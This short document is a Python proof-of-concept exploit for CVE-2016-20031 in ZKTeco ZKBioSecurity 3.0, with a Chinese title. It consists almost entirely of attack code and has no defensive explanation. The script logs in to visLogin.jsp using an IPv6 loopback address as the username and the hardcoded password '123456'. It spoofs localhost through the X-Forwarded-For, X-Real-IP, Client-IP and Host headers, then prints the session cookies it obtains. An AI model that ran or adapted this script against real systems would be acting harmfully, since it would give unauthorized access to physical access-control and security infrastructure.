CVE-2016-20031 ZKBioSecurity 3.0本地授权绕过漏洞

import requests # CVE-2016-20031 PoC - ZKBioSecurity 3.0 Local Auth Bypass # Target: ZKTeco ZKBioSecurity visLogin.jsp def exploit_auth_bypass(target_url): """ Exploit for CVE-2016-20031 Local Authorization Bypass via IPv6 Loopback Address Spoofing """ # IPv6 loopback address that gets converted to 127.0.0.1 ipv6_loopback = "0:0:0:0:0:0:0:1" # Target login endpoint login_url = f"{target_url}/visLogin.jsp" # Hardcoded credentials extracted from analysis # Using IP as username with hardcoded password payload = { "username": ipv6_loopback, "password": "123456" } # Request headers to spoof localhost headers = { "X-Forwarded-For": ipv6_loopback, "X-Real-IP": ipv6_loopback, "Client-IP": ipv6_loopback, "Host": "127.0.0.1" } try: response = requests.post(login_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: # Check for successful authentication indicators if "success" in response.text.lower() or "session" in response.cookies: print("[+] Authentication bypass successful!") print(f"[+] Session cookies: {response.cookies}") return True print("[-] Authentication bypass failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-server:8080" exploit_auth_bypass(target)